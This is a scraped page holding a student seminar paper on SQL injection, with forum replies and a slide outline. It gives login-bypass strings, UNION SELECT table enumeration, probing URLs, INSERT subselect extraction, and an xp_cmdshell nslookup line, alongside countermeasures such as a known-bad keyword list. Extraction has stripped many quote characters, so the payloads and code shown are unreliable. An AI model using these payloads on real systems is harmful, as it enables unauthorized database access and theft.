Top Banner

of 35

sql_injctions loop joks

Jun 03, 2018

Download

Documents

Pratik Bhoir
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
  • 8/12/2019 sql_injctions loop joks

    1/35

    ABSTRACTThis paper contains information about this extremely popular database attack.Most of today's web applications require dynamic content and input from users toachieve the same appeal as traditional applications within the desktop operatingsystems. This is achieved by using languages such as SQL the most common beingmySQL. The attacker can gain unauthorized access to restricted data suck asusernames /passwords/email addresses etc.Using SQL injections, attackers can: Add new data to the database.With some more advanced queries and tricky techniques the attacker canpotentially bypass the authentication and gain complete control over the webapplication and potentially the web server..Perform an INSERT in the injected SQL Modify data currently in the database.Perform an UPDATE in the injected SQL Often can gain access to other userssystem capabilities by obtaining their password.Could be embarrassing to find yourself selling politically incorrect items on ane-Commerce site.Page 5

    TABLE OF CONTENTSChapter No.Title PAGELIST OF FIGURESii1.

    INTRODUCTION12. CHECKING FOR VULNERABILITY33 ATTACKS63.1 AUTHORIZATION BYPASS3.2 USING THE SELECT COMMAND3.3 USING THE INSERT COMMAND3.4 USING SQL SERVERS STOREDPROCEDURES4.AUTOMATED SQL INJECTION TOOLS

    205. COUNTERMEASURES215.1 INPUT VALIDATION5.2 SQL SERVER LOCKDOWN5.3 ROBUST NETWORK ARCHITECTURE6. CONCLUSION237. REFERENCES24iPage 6

    LIST OF FIGURES

    NO:NAMEPAGE3.2.1BROWSER RESPONSEON UNION COMMAND133.2.2TABLES USINGWHERE

  • 8/12/2019 sql_injctions loop joks

    2/35

    143.2.3TABLES USINGSELECT163.2.4TABLES USING UNION 175.3.1ROBUST NETWORKARCHITECTURE25iiPage 7

    SQL Injection1. IntroductionThe World Wide Web has experienced remarkable growth in recent years. Businesses,individuals, and governments have found that web applications can offer effective,efficient and reliable solutions to the challenges of communicating and conductingcommerce in the Twenty-first century. However, in the cost-cutting rush to bringtheirweb-based applications on line or perhaps just through simple ignorance many

    software companies overlook or introduce critical security issues.To build secure applications, developers must acknowledge that security is afundamentalcomponent of any software product and that safeguards must be infused with the software as it isbeing written. Building security into a product is much easier (and vastly morecost-effective)than any post-release attempt to remove or limit the flaws that invite intrudersto attack your site.To prove that dictum, consider the case of blind SQL injectionSQL injection is a technique for exploiting web applications that use client-supplied datain SQL queries, but without first stripping potentially harmful characters. Desp

    ite beingremarkably simple to protect against, there is an astonishing number of productionsystems connected to the Internet that are vulnerable to this type of attack. The objectiveof this paper is to focus the professional security community on the techniquesthat canbe used to take advantage of a web application that is vulnerable to SQL injection, and tomake clear the correct mechanisms that should be put in place to protect againstSQLinjection and input validation problems in general.Most of today's web applications require dynamic content and input from users to

    achieve the same appeal as traditional applications within the desktop operatingsystems.This is achieved by using languages such as SQL the most common being mySQL.SQL Injection is inputting the raw transact SQL Query into an application to perform anDivision of Computer Engineering1Page 8

    SQL Injectionunexpected action. Most of the time existing queries are edited to achieve the s

  • 8/12/2019 sql_injctions loop joks

    3/35

    ameresults. Transact SQL is easily changed by the placement of a single character in a chosenspot causing the query to behave in malicious ways. The most commonly used charactersare backtick (`), double dash(--), and the semi colon (Wink all of witch have specific meaningin SQL.So what exactly can an attacker do with an unsurped SQL query?The attacker can gain unauthorised access to restricted data suck as usernames/passwords / email addresses etc. With some more advanced queries and sneakiertechniques the attacker can potentially bypass the authentication and gain completecontrol over the web application and potentially the web server.This is a hacking method that allows an unauthorized attacker to access a database server.It is facilitated by a common coding blunder: the program accepts data from a client andexecutes SQL queries without first validating the clients input. The attacker isthen freeto extract, modify, add, or delete content from the database. In some circumstances, hemay even penetrate past the database server and into the underlying operating system.

    Hackers typically test for SQL injection vulnerabilities by sending the application inputthat would cause the server to generate an invalid SQL query. If the server thenreturns anerror message to the client, the attacker will attempt to reverse-engineer portions of theoriginal SQL query using information gained from these error messages. The typicaladministrative safeguard is simply to prohibit the display of database server errormessages. Regrettably, thats not sufficient. Blind SQL injection can still evadethedatabases.

    Character EncodingMost web browsers will not properly interpret requests containing punctuation charactersand many other symbols unless they are URL-encoded. In this paper, I have used regularASCII characters in the examples and screenshots to maintain maximum readability. InDivision of Computer Engineering2Page 9

    SQL Injectionpractice, though, you will need to substitute %25 for percent sign, %2B for plussign,

    etc., in the HTTP request statement.2.Checking for VulnerabilityThoroughly checking a web application for SQL injection vulnerability takes moreeffortthan one might guess. Its nice when you throw a single quote into the first argument of ascript and the server returns a nice blank, white screen with nothing but an ODBC erroron it, but such is not always the case.

  • 8/12/2019 sql_injctions loop joks

    4/35

    It is very easy to overlook a perfectly vulnerable script if you dont pay attention todetails. You should always check every parameter of every script on the server.Developers and development teams can be awfully inconsistent. The programmer whodesigned Script A might have had nothing to do with the development of Script B,sowhere one might be immune to SQL injection, the other might be ripe for abuse. In fact,the programmer who worked on Function A in Script A might have nothing to do withFunction B in Script A, so while one parameter in one script might be vulnerable, anothermight not. Even if an entire web application is conceived, designed, coded and tested byone programmer, one vulnerable parameter might be overlooked. You never can be sure.Test everything.Testing procedureReplace the argument of each parameter with a single quote and an SQL keyword (suchas " WHERE"). Each parameter needs to be tested individually. Not only that, butwhentesting each parameter, leave all of the other parameters unchanged, with valid

    data astheir arguments. It can be tempting to simply delete everything youre not workingwithDivision of Computer Engineering3Page 10

    SQL Injectionto make things look simpler, particularly with applications that have parameterlines thatgo into many thousands of characters. Leaving out parameters or giving other parametersbad arguments while youre testing another for SQL injection can break the application in

    other ways that prevent you from determining whether or not SQL injection is possible.For instance, assume that this is a completely valid, unaltered parameter lineContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkistewhile this parameter line gives you an ODBC error ContactName=Maria%20Anders&CompanyName=%20ORand checking with this line might simply return an error indicating that you need tospecify a ContactName value.CompanyName=This lineContactName=BadContactName&CompanyName=might give you the same page as the request that didnt specify ContactName at all.

    Or, it might give you the sites default homepage. Or, perhaps when the applicationcouldnt find the specified ContactName, it didnt bother to look at CompanyName, soitdidnt even pass the argument of that parameter into an SQL statement. Or, it might giveyou something completely different. So, when testing for SQL injection, always use thefull parameter line, giving every argument except the one that you are testing alegitimate

  • 8/12/2019 sql_injctions loop joks

    5/35

    value.Evaluating ResultsIf the server returns a database error message of some kind, injection was definitelysuccessful. However, the messages arent always obvious. Again, developers do somestrange things, so you should look in every possible place for evidence of successfulinjection. First, search through the entire source of the returned page for phrases such asDivision of Computer Engineering4Page 11

    SQL InjectionODBC, SQL Server, Syntax, etc. More details on the nature of the error can be inhidden input, comments, etc. Check the headers. I have seen web applications onproduction systems that return an error message with absolutely no information in thebody of the HTTP response, but that have the database error message in a header.Manyweb applications have these kinds of features built into them for debugging andQApurposes, and then developers forget to remove or disable them before release.You should look not only on the immediately returned page, but also in linked pages.

    During a recent penetration test, I saw a web application that returned a generic errormessage page in response to an SQL injection attack. Clicking on a stop sign image nextto the error retrieved another page giving the full SQL Server error message.Another thing to watch out for is a 302 page redirect. You may be whisked away from thedatabase error message page before you even get a chance to notice it.Note that SQL injection may be successful even if the server returns an ODBC errormessages. Many times the server returns a properly formatted, seemingly genericerrormessage page telling you that there was an internal server error or a problem

    processing your request.Some web applications are designed to return the client to the sites main page wheneverany type of error occurs. If you receive a 500 Error page back, chances are thatinjectionis occurring. Many sites have a default 500 Internal Server Error page that claims that theserver is down for maintenance, or that politely asks the user to send an e-mailto theirsupport staff. It can be possible to take advantage of these sites using storedproceduretechniques.Division of Computer Engineering

    5Page 12

    SQL Injection3. AttacksThis section describes the following SQL injection techniques: Authorization bypass Using the SELECT command Using the INSERT command Using SQL server stored procedures3.1 Authorization Bypass

  • 8/12/2019 sql_injctions loop joks

    6/35

    The simplest SQL injection technique is bypassing logon forms. Consider thefollowing web application code:SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername& " AND Password = " & strPassword & "" strAuthCheck =GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False ElseboolAuthenticated = True End IfHeres what happens when a user submits a username and password. The query will gothrough the Users table to see if there is a row where the username and passwordin therow match those supplied by the user. If such a row is found, the username is stored inthe variable strAuthCheck, which indicates that the user should be authenticated. If thereis no row that the user-supplied data matches, strAuthCheck will be empty and the userwill not be authenticated.If strUsername and strPassword can contain any characters that you want, you canmodify the actual SQL query structure so that a valid name will be returned by the queryeven if you do not know a valid username or a password. How? Lets say a user fills outthe logon form like this:Login: OR = Password: OR =

    This will give SQLQuery the following value:Division of Computer Engineering6Page 13

    SQL InjectionSELECT Username FROM Users WHERE Username = OR = AND Password = OR =Instead of comparing the user-supplied data with that present in the Users table, the querycompares a quotation mark (nothing) to another quotation mark (nothing). This, ofcourse, will always return true. (Please note that nothing is different from null.) Since all

    of the qualifying conditions in the WHERE clause are now met, the application willselect the username from the first row in the table that is searched. It will pass thisusername to strAuthCheck, which will ensure our validation. It is also possibleto useanother rows data, using single result cycling techniques.3.2 Using the SELECT CommandFor other situations, you must reverse-engineer several parts of the vulnerablewebapplications SQL query from the returned error messages. To do this, you must knowhow to interpret the error messages and how to modify your injection string to d

    efeatthem.Direct vs. QuotedThe first error that you normally encounter is the syntax error. A syntax errorindicatesthat the query does not conform to the proper structure of an SQL query. The first thingthat you need to determine is whether injection is possible without escaping quotation.In a direct injection, whatever argument you submit will be used in the SQL quer

  • 8/12/2019 sql_injctions loop joks

    7/35

    ywithout any modification. Try taking the parameters legitimate value and appending aspace and the word OR to it. If that generates an error, direct injection is possible.Direct values can be either numeric values used in WHERE statements, such as thisSQLString = "SELECT FirstName, LastName, Title FROM Employees WHEREEmployee = " & intEmployeeIDor the argument of an SQL keyword, such as table or column name:Division of Computer Engineering7Page 14

    SQL InjectionSQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " &strColumnAll other instances are quoted injection vulnerabilities. In a quoted injection,whateverargument you submit has a quote prefixed and appended to it by the application,like this:SQLString = "SELECT FirstName, LastName, Title FROM Employees WHEREEmployeeID = " & strCity & ""To break out of the quotes and manipulate the query while maintaining valid syntax,

    your injection string must contain a single quote before you use an SQL keyword,andend in a WHERE statement that needs a quote appended to it. And now to address theproblem of cheating. Yes, SQL Server will ignore everything after a ;-- but its theonly server that does that. Its better to learn how to do this the hard way so that youllknow how to handle an Oracle, DB/2, MySQL, or any other kind of database server.Basic UNIONSELECT queries are used to retrieve information from a database. Most web applicationsthat use dynamic content of any kind will build pages using information returned

    fromSELECT queries. Most of the time, the part of the query that you will be able tomanipulate will be the WHERE clause.To make the server return records other than those intended, modify a WHERE clause byinjecting a UNION SELECT. This allows multiple SELECT queries to be specified inone statement. Heres one example:SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECTCompanyName FROM Customers WHERE 1 = 1This will return the recordsets from the first query and the second query together. TheALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just make

    sure that the first query (the one the web applications developer intended to beexecuted)returns no records. Suppose you are working on a script with the following code:Division of Computer Engineering8Page 15

    SQL InjectionSQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City =" & strCity & ""And you use this injection string:

  • 8/12/2019 sql_injctions loop joks

    8/35

    UNION ALL SELECT OtherField FROM OtherTable WHERE =The following query will be sent to the database server:SELECT FirstName, LastName, Title FROM Employees WHERE City = UNIONALL SELECT OtherField FROM OtherTable WHERE =The database engine will inspect the Employees table, looking for a row where City is setto nothing. Since it will not find it, no records will be returned. The only records thatwill be returned will be from the injected query. In some cases, using nothing will notwork because there are entries in the table where nothing is used, or because specifyingnothing makes the web application do something else. You simply need to specifyavalue that does not occur in the table. When a number is expected, zero and negativenumbers often work well. For a text argument, simply use a string such asNoSuchRecord or NotInTable.Query Enumeration with Syntax ErrorsSome database servers return the portion of the query containing the syntax error in theirerror messages. In these cases you can bully fragments of the SQL query from theserver by deliberately creating syntax errors. Depending on the way the query isdesigned, some strings will return useful information and others will not.

    Heres my list of suggested attack strings. Several will often return the same ornoinformation, but there are instances where only one of them will give you helpfulinformation. Try them all BadValueBadValue OR OR;9,9,9Division of Computer Engineering9Page 16

    SQL InjectionParenthesesIf the syntax error contains a parenthesis in the cited string (such as the SQLServermessage used in the following example) or the message complains about missingparentheses, add a parenthesis to the bad value part of your injection string, and one tothe WHERE clause. In some cases, you may need to use two or more parentheses.Heres the code used in parenthesis.asp:mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM EmployeesWHERE (City = " & strCity & ")"So, when you inject this value) UNION SELECT OtherField FROM OtherTable WHERE (=,

    the following query will be sent to the server:SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE(City = ) UNION SELECT OtherField From OtherTable WHERE (=)LIKE QueriesAnother common debacle is being trapped in a LIKE clause. Seeing the LIKE keyword orpercent signs cited in an error message are indications of this situation. Mostsearch functions useSQL queries with LIKE clauses, such as the following:SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName

  • 8/12/2019 sql_injctions loop joks

    9/35

    LIKE %" & strLastNameSearch & "%"The percent signs are wildcards, so in this example the WHERE clause would return true in anycase where strLastNameSearch appears anywhere in LastName. To stop the intendedquery fromreturning records, your bad value must be something that none of the values in the LastNamefield contain. The string that the web application appends to the user input (usually a percent signand single quote, and often parenthesis as well) needs to be mirrored in the WHERE clause ofthe injection string. Also, using nothing as your bad values will make the LIKEargument %% resulting in a full wildcard, which returns all records. The second screenshotshows aworking injection query for the above code.Division of Computer Engineering10Page 17

    SQL InjectionDead EndsThere are situations that you may not be able to defeat without an enormous amount of effort, ifat all. Occasionally youll find yourself in a query that you just cant seem to bre

    ak. No matterwhat you do, you get error after error after error. Many times, this is becauseyoure trappedinside a function thats inside a WHERE clause, and the WHERE clause is in a subselect whichis an argument of another function whose output is having string manipulations performed on itand then used in a LIKE clause which is in a subselect somewhere else. Not evenSQL Servers;- - can rescue you in those cases.Column Number MismatchIf you can get around the syntax error, the hardest part is over. The next error

    message willprobably complain about a bad table name. Choose a valid system table name.You will then most likely be confronted with an error message that complains about thedifference in the number of fields in the SELECT and UNION SELECT queries. You need tofind out how many columns are requested in the legitimate query. Lets say that this is the codein the web application that youre attacking:SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City =" & strCity ""The legitimate SELECT and the injected UNION SELECT need to have an equal numberof

    columns in their WHERE clauses. In this case, they both need three. Their columntypes alsoneed to match. If FirstName is a string, then the corresponding field in your injection stringneeds to be a string as well. Some servers, such as Oracle, are very strict about this. Others aremore lenient and allow you to use any data type that can do implicit conversionto the correctdata type. For example, in SQL Server, putting numeric data in a varchars place is allowed,

  • 8/12/2019 sql_injctions loop joks

    10/35

    because numbers can be converted to strings implicitly. Putting text in a smallint column,however, is illegal because text cannot be converted to an integer. Because numeric types oftenconvert to strings easily (but not vice versa), use numeric values by default.To determine the number of columns you need to match, keep adding values to theUNIONSELECT clause until you stop getting a column number mismatch error. If you encounter a dataDivision of Computer Engineering11Page 18

    SQL Injectiontype mismatch error, change the data type (of the column you entered) from a number to a literal.Sometimes you will get a conversion error as soon as you submit an incorrect data type. At othertimes, you will get only the conversion message once youve matched the correct number ofcolumns, leaving you to figure out which columns are the ones that are causing the error. Whenthe latter is the case, matching the value types can take a very long time, since the number ofpossible combinations is 2

    nwhere n is the number of columns in the query. By the way, 40-column SELECT commands are not terribly uncommon.If all goes well, the server should return a page with the same formatting and structure as alegitimate one. Wherever dynamic content is used, you should have the results ofyour injectionquery.To illustrate, when I submitted the following commandhttp://localhost/column.asp?city=UNION ALL SELECT 9 FROM SysObjects WHERE =All queries in an SQL statement containing a UNION operator must have an equal number ofexpressions in their target lists.

    Division of Computer Engineering12Page 19

    SQL InjectionFig:3.2.1 Browser response on Union commandSo I incremented the number of columns and resubmitted the command, continuing this until Ireceived a different error message.http://localhost/column.asp?city=UNION ALL SELECT 9,9 FROM SysObjects WHERE =http://localhost/column.asp?city=UNION ALL SELECT 9,9,9 FROM SysObjects WHERE =http://localhost/column.asp?city=UNION ALL SELECT 9,9,9,9 FROM SysObjects WHERE=On the last command, the server returned the following error message:

    Operand type dash; ntext is incompatible with int.Division of Computer Engineering13Page 20

    SQL InjectionSo I submitted the following command and the server returned the page illustrated in Figure 2:http://localhost/column.asp?city=UNION ALL SELECT 9,9,9,text FROM SysObjectsWHERE =Fig:3.2.2 Tables using WHERE

  • 8/12/2019 sql_injctions loop joks

    11/35

    Additional WHERE ColumnsSometimes your problem may be additional WHERE conditions that are added to thequery afteryour injection string. Consider this line of code:Division of Computer Engineering14Page 21

    SQL InjectionSQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = " &strCity & " AND Country = USA"Trying to deal with this query like a simple direct injection would yield a query such as:SELECT FirstName, LastName, Title FROM Employees WHERE City = NoSuchCity UNIONALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = USAWhich yields an error message such as:[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name Country.The problem here is that your injected query does not have a table in the FROM clause thatcontains a column named Country in it. There are two ways to solve this problem:use the ;--terminator (if youre using SQL Server), or guess the name of the table that the offendingcolumn is in and add it to your FROM clause. Use the attack queries listed in Query

    Enumeration with Syntax Errors to try to get as much of the legitimate query back as possible.Table and Field Name EnumerationNow that you have injection working, you have to decide what tables and fields you want toaccess. With SQL Server, you can easily get all of the table and column names inthe database.With Oracle and Access, you may or may not be able to do this, depending on theprivileges ofthe account that the web application is using to access the database.The key is to be able to access the system tables that contain the table and column names. In

    SQL Server, they are called sysobjects and syscolumns, respectively. There is alist of systemtables for other database servers at the end of this document; you will also need to know relevantcolumn names in those tables). These tables contain a listing of all tables andcolumns in thedatabase. To get a list of user tables in SQL Server, use the following injection query, modifiedto fit you own circumstances:SELECT name FROM sysobjects WHERE xtype = UThis will return the names of all user-defined tables (thats what xtype = U does) in thedatabase. Once you find one that looks interesting (well use Orders), you can get

    the names ofthe fields in that table with an injection query similar to thisDivision of Computer Engineering15Page 22

    SQL InjectionSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name= Orders)The first illustration in Figure 3 shows the results returned by the following injection query:

  • 8/12/2019 sql_injctions loop joks

    12/35

    http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A, 0 FROMsysobjects WHERE xtype=UThe second illustration in Figure 6 shows the results returned by the followinginjection query:http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A, 0 FROMsysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ORDERS) AND =Fig:3.2.3 Tables USING SELECTDivision of Computer Engineering16Page 23

    SQL InjectionFig:3.2.4 Tables using UNIONSingle Record CyclingIf possible, use an application that is designed to return as many results as possible. Search toolsare ideal because they are made to return results from many different rows at once. Someapplications are designed to use only one recordset in their output at a time, and ignore the rest.If youre faced with a single product display application, you can still prevail.You can manipulate your injection query to allow you to slowly, but surely, getyour desiredinformation back in full. This is accomplished by adding qualifiers to the WHEREclause that

    prevent certain rows information from being selected. Lets say you started with this injectionstring: UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE =And you got the first values in FieldOne, FieldTwo and FieldThree injected intoyour document.Lets say the values of FieldOne, FieldTwo and FieldThree were Alpha, Beta and Delta,respectively. Your second injection string would be: UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOneNOT IN (Alpha) AND FieldTwo NOT IN (Beta) AND FieldThree NOT IN (Delta) AND=Division of Computer Engineering

    17Page 24

    SQL InjectionThe NOT IN VALUES clause makes sure that the information you already know will not bereturned again, so the next row in the table will be used instead. Lets say thesevalues wereAlphaAlpha, BetaBeta and DeltaDelta..3.3 Using the INSERT CommandThe INSERT command is used to add information to the database. Common uses of INSERT inweb applications include user registrations, bulletin boards, adding items to shopping carts, etc.

    Checking for vulnerabilities with INSERT statements is the same as doing it withWHERE. Youmay not want to try to use INSERT if avoiding detection is an important issue. INSERT injectionoften floods rows in the database with single quotes and SQL keywords from the reverse-engineering process. Depending on how watchful the administrator is and what isbeing donewith the information in that database, it may be noticed.Heres how INSERT injection differs from SELECT injection. Suppose a site allows u

  • 8/12/2019 sql_injctions loop joks

    13/35

    serregistration of some kind, providing a form where you enter your name, address,phone number,etc. After submitting the form, you navigate to a page where it displays this information andgives you an option to edit it. This is what you want. To take advantage of an INSERTvulnerability, you must be able to view the information that youve submitted. Itdoesnt matterwhere it is. Maybe when you log on, it greets you with the value it has stored for your name inthe database. Maybe the application sends you e-mail with the Name value in it.However you doit, find a way to view at least some of the information youve entered.An INSERT query looks like this:INSERT INTO TableName VALUES (Value One, Value Two, Value Three)You want to be able to manipulate the arguments in the VALUES clause to make them retrieveother data. You can do this using subselects.Consider this example code:3.4 SQLString = "INSERT INTO TableName VALUES (" & strValueOne & ", " &strValueTwo & ", " & strValueThree & ")"Division of Computer Engineering

    18Page 25

    SQL InjectionYou fill out the form like this:Name: + (SELECT TOP 1 FieldName FROM TableName) + Email: blah[at]blah.com Phone:333-333-3333Making the SQL statement look like this:INSERT INTO TableName VALUES ( + (SELECT TOP 1 FieldName FROM TableName) +, blah[at]blah.com, 333-333-3333)When you go to the preferences page and view your users information, youll see thefirst valuein FieldName where the users name would normally be. Unless you use TOP 1 in yoursubselect, youll get back an error message saying that the subselect returned too

    many records.You can go through all of the rows in the table using NOT IN ( ) the same way itis used insingle-record cycling.Division of Computer Engineering19Page 26

    SQL Injection4. Automated SQL Injection ToolsSQL Injection is typically performed manually, BUT some tools are available thatwillhelp automate the process of identifying and exploiting the vulnerability.Wpoison is a tool that will find any strings potentially SQL Injection vulnerabi

    lities in dynamicweb documents. SQL error strings are stored in a signature file, making it easier for anyone toadd their own signature for a possible SQL Injection signature for a web application. Wpoisonruns on linux and is available at http://wpoison.sourceforeg.netmieliekoek.pl is an SQL Injection insertion crawler that will test all forms ona websitefor possible SQL Insertion problems. This script will take the output of a website mirroring tool

  • 8/12/2019 sql_injctions loop joks

    14/35

    as input inspecting every file and determining whether there is a form in the file. The string tobe injected can easily be changed in the configuration file. To obtain a copy ofthe scriptplease see 'http://packetstormsecurity.com/UNIX/security/mieliekoek.pl' please make sure youhave a perl environment installed.Here is an example of the output of mieliekoek.pl :$badstring='blah';$badstring='blah' or 1=1 --';$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQLInjection testing. The SPI Toolkit is available at http://www.spidynamics.comDivision of Computer Engineering20Page 27

    SQL Injection5. Countermeasures5.1 Input ValidationInput validation can be a complex subject. Typically, too little attention is paid to it in adevelopment project, since overenthusiastic validation tends to cause parts of an

    application to break, and the problem of input validation can be difficult to solve. Inputvalidation tends not to add to the functionality of an application, and thus itis generallyoverlooked in the rush to meet imposed deadlines.The following is a brief discussion of input validation, with sample code. Thissamplecode is (of course) not intended to be directly used in applications, but it does illustratethe differing strategies quite well.The different approaches to data validation can be categorised as follows:1) Attempt to massage data so that it becomes valid2) Reject input that is known to be bad

    3) Accept only input that is known to be goodSolution (1) has a number of conceptual problems; first, the developer is not necessarilyaware of what constitutes 'bad' data, because new forms of 'bad data' are beingdiscoveredall the time. Second, 'massaging' the data can alter its length, which can result inproblems as described above. Finally, there is the problem of second-order effectsinvolving the reuse of data already in the system.Solution (2) suffers from some of the same issues as (1); 'known bad' input changes overtime, as new attack techniques develop.

    Solution (3) is probably the better of the three, but can be harder to implement.Probably the best approach from a security point of view is to combine approaches (2)and (3) - allow only good input, and then search that input for known 'bad' data.A good example of the necessity to combine these two approaches is the problem ofhyphenated surnames :Quentin Bassington-Bassington

  • 8/12/2019 sql_injctions loop joks

    15/35

    Division of Computer Engineering21Page 28

    SQL InjectionWe must allow hyphens in our 'good' input, but we are also aware that the charactersequence '--' has significance to SQL server.Another problem occurs when combining the 'massaging' of data with validation ofcharacter sequences - for example, if we apply a 'known bad' filter that detects'--', 'select'and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker couldspecify input likeuni'on sel'ect @@version-'-Since the single-quote is removed after the 'known bad' filter is applied, the attacker cansimply intersperse single quotes in his known-bad strings to evade detection.Here is some example validation code.Approach 1 - Escape singe quotesfunction escape( input )input = replace(input, "'", "''")escape = inputend functionApproach 2 - Reject known bad input

    function validate_string( input )known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )validate_string = truefor i = lbound( known_bad ) to ubound( known_bad )if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) thenvalidate_string = falseexit functionend ifnextend functionApproach 3 - Allow only good inputfunction validatepassword( input )Division of Computer Engineering

    22Page 29

    SQL Injectiongood_password_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"validatepassword = truefor i = 1 to len( input )c = mid( input, i, 1 )if ( InStr( good_password_chars, c ) = 0 ) thenvalidatepassword = falseexit functionend if

    nextend function5.2 SQL Server LockdownThe most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure'out of the box'. Here is a brief list of things to do when creating a SQL Server build:1. Determine methods of connection to the servera. Verify that only the network libraries you're using are enabled, using the 'Network

  • 8/12/2019 sql_injctions loop joks

    16/35

    utility'2. Verify which accounts exista. Create 'low privileged' accounts for use by applicationsb. Remove unnecessary accountsDivision of Computer Engineering23Page 30

    SQL Injectionc. Ensure that all accounts have strong passwords; run a password auditing script(such as the one provided as an appendix to this paper) against the server on aregular basis3. Verify which objects exista. Many extended stored procedures can be removed safely. If this is done, considerremoving the '.dll' file containing the extended stored procedure code.b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.4. Verify which accounts can access which objectsa. The account that an application uses to access the database should have onlytheminimum permissions necessary to access the objects that it needs to use.5. Verify the patch level of the servera. There are several buffer overflow and format string attacks against SQL Serve

    r(mostly discovered by the author) as well as several other 'patched' securityissues. It is likely that more exist.6. Verify what will be logged, and what will be done with the logs.An excellent lockdown checklist is provided at http://www.sqlsecurity.com..Replace direct SQL statements with stored procedures, prepared statements, or ADOcommand Objects.Division of Computer Engineering24Page 31

    SQL InjectionImplements Default Error Handling. This would include using a single error messa

    ge forall errorsLock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements throughLock down User Database configuration Specify. users, roles and permissions etc.5.3 Robust network architecture design will aid in the defense of any enterprise. The diagramshows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all publicfacing serversFig: 5.3.1 Robust Network Architecture6. ConclusionsDivision of Computer Engineering

    25Page 32

    SQL InjectionThis article is to make aware the people who are anyways related to databasemaintenance say DBA, Site owner, Computer science students involving in projectsrelated to database and to general people who are launching their sites on internet.Through this article one can know that what are the breaches that can be securedeithercode or protection security like firewalls.

  • 8/12/2019 sql_injctions loop joks

    17/35

    So, before launching your site or when checking your site try to check atleast the codeswhat are illustrated in this article and if you find any bugs please correct itas soon aspossible and if its not your website then please inform the owner through mail or phonethat that site has bugs( be ethical) else attacking on other sites using this technique isillegal, so I m not responsible for any kind of unethical stuffs. Do that at your own risk.7. References[1] Web Application Disassembly with ODBC Error Messages, DavidLitchfieldDivision of Computer Engineering26Page 33

    SQL Injectionhttp://www.nextgenss.com/papers/webappdis.doc[2] SQL Server Security Checklisthttp://www.sqlsecurity.com/checklist.asp[3] SQL Server 2000 Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisori...0100-2.txt[4] Microsoft SQL Server Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisori...0100-1.txt

    [5] Multiple Buffer Format String Vulnerabilities In SQL Serverhttp://www.microsoft.com/technet/securit...01-060.asphttp://www.atstake.com/research/advisori...2001-1.txt[6] http://www.youtube.com/watch?v=MJNJjh4jORYFind all posts by this userfind Quote this message in a replyQuote Quote this postOffline Sandesh K R clock20-04-2010, 09:06 AM Post: #2

    Junior Member**4 posts

    please if u have this report (SQL injection in .doc ) please do upload .....

    Thank you SmileFind all posts by this userfind Quote this message in a replyQuote Quote this postOffline seminar topics maker clock24-04-2010, 08:16 PM Post: #3

    Posting Freak*****2,490 posts

    Presented By:

    BY:-

    Nikita DhurveBvcoew,Pune.SQL INJECTION

    SYNOPSIS:-This paper contains information about extremely popular database attacks. Most of today's web applications require dynamic content and input from users which further are maintained in a database. This is achieved by using languages such asSQL the most common being mySQL.

  • 8/12/2019 sql_injctions loop joks

    18/35

    A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database recover the content of a given file present on the DBMS file system.

    The attacker can gain unauthorized access to restricted data such as usernames /passwords/email addresses etc which is sucked by the web applications to performsome specific tasks. It attacks on the web application(like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or servicesrunning in the OS.

    CATEGORIES OF SQL INJECTION ATTACKSFour main categories of SQL Injection attacks against Oracle databases 1. SQL Manipulation2. Code Injection3. Function Call Injection4. Buffer OverflowsAVOIDING SQL INJECTION VULNERABILITIESThe various techniques used to prevent SQL injections are:1. Parameterized query2. Stored procedure3. Regular expression to discard input string4. Quoteblock function

    5. Do not show detailed error messages to the user.6. Have a less privileged user/role of your application in databaseAUTOMATED SQL INJECTION TOOLS1.Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents.2. mieliekoek.pl is an SQL Injection insertion crawler that will test all formson a website for possible SQL injection problem.3. SQLbf is a SQL Server Password Auditing tool. This tool should be used to audit the strength of Microsoft SQL Server passwords offline.Conclusion:-The purpose of this article is to make aware the people related to databasemaintenance say DBA, Site owner, Computer science students working on database projects

    and to general people who are launching their sites on internet.Through this article one can know that what are the breaches that can be secured either code orprotection security like firewalls.Find all posts by this userfind Quote this message in a replyQuote Quote this postOffline seminar topics maker clock25-04-2010, 09:13 PM Post: #4

    Posting Freak*****2,490 posts

    [3411]

    SQL INJECTIONPresented By:Nikita Dhurve

    What is SQLSQL stands for Structured Query Language.Allows us to access a database.Database is maintained in table form.

  • 8/12/2019 sql_injctions loop joks

    19/35

